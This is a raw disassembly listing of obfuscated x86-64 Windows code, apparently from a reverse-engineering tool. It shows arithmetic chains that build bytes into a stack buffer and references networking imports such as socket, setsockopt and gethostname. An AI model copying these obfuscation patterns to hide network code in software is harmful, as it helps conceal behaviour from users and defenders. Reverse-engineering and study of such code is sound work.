jb 0x140114287
mov r11b, r9b
lea edx, [r11 + 0x16]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x34]
jmp 0x140114762
lea edx, [r9 - 0x12]
mov ecx, 0x3f
jmp 0x140114499
lea edx, [r9 + 0x5c]
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401146c9
mov r11b, r9b
lea edx, [r11 - 0x36]
mov ecx, 0x3d
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14011469b
lea edx, [r9 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401144da
lea edx, [r9 - 0x5a]
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14011479e
mov r11b, r9b
lea edx, [r11 + 0x14]
mov ecx, Ordinal_60
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140114627
lea edx, [r9 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140114783
lea edx, [r9 - 0x10]
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140114780
mov r11b, r9b
lea edx, [r11 + 0x5e]
mov ecx, gethostname
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14011475f
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x140114487
lea edx, [r9 + 0x49]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r13b
jmp 0x1401142dd
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401144ae
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401147eb
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401144c8
mov r11b, r9b
lea edx, [r11 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
jmp 0x1401143ac
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401144ef
lea edx, [r9 - 0x50]
mov ecx, Ordinal_27
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401147bf
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140114509
mov r11b, r9b
lea edx, [r11 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1401143f6
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401142dd
mov r11b, r9b
lea edx, [r11 - 0x76]
mov ecx, Ordinal_33
jmp 0x140114450
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14011454d
mov r11b, r9b
lea edx, [r11 - 9]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x3f
jmp 0x14011475f
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140114571
lea ecx, [r9 - 0x77]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x41
jmp 0x140114780
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140114595
lea ecx, [r9 + 0x1b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x43
jmp 0x140114783
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140114315
mov r11b, r9b
lea edx, [r11 + 0x63]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x4b
jmp 0x14011469b
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401145d6
lea edx, [r9 - 0xc]
mov ecx, Ordinal_45
jmp 0x140114499
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401145f0
mov r11b, r9b
lea edx, [r11 + 0x18]
mov ecx, Ordinal_45
jmp 0x1401143ac
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140114348
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
jmp 0x140114411
mov r11b, r9b
lea edx, [r11 - 0x58]
mov al, r8b
and al, dl
mov cl, byte [rbp + r9 + 0x1f0]
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0xf
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, 0x69
add r8b, r11b
add r8b, dil
mov byte [rbp + r9 + 0x1f0], r8b
jmp 0x14011479e
mov r11b, r9b
lea edx, [r11 + 0x3a]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14011469b
lea ecx, [r9 + 0x1f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x27
jmp 0x1401147eb
mov r11b, r9b
lea edx, [r11 - 5]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x23
add dil, dl
sub r11b, 0x7d
mov al, r8b
and al, r11b
add al, al
mov cl, r8b
sub cl, al
add cl, 0x6b
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x1f0], al
add r10, r13
add rax, r10
sub r9, rax
lea edx, [r9 - 0x34]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x1f0], cl
add rbx, r13
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401147eb
lea ecx, [r9 + 0x69]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x21
jmp 0x1401147bf
lea ecx, [r9 - 0x4d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x1b
jmp 0x140114783
mov r11b, r9b
lea edx, [r11 - 0x71]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x17
jmp 0x14011475f
mov r11b, r9b
lea edx, [r11 + 0x6b]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x13
add dil, dl
add r11b, 0x5f
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, 0x67
add r8b, r11b
mov byte [rbp + r9 + 0x1f0], r8b
add r10, r13
sub r9, r13
jmp 0x1401147fa
lea ecx, [r9 + 0x23]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0xb
add rbx, r10
jmp 0x1401147bf
movabs rcx, 0xf68cc1c92268c491
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401147fa
movabs rcx, 0xa784409860cd96db
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 3
movzx eax, byte [rbp + r9 + 0x1f0]
add rax, r10
add r9, rax
add r9, r13
jmp 0x140113e8e
sub r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x7b
jmp 0x140113e8b
add r9b, 0x5b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x7d
jmp 0x140113e7b
mov eax, dword [rbp + 0x175cafc]
jmp 0x140114850
mov eax, dword [rbp + 0x164fd45]
jmp 0x140114850
mov eax, dword [rbp + 0x1f0]
mov dword [0x14017bef0], eax
mov rax, qword [rbp + 0x50]
movabs rcx, 0xff00ff00ff00ff07
xor rax, rcx
lea rcx, [rbp + 0x1728]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x16f0]
xor rcx, rsp
call fcn.140158250
lea r11, [rsp + 0x1800]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret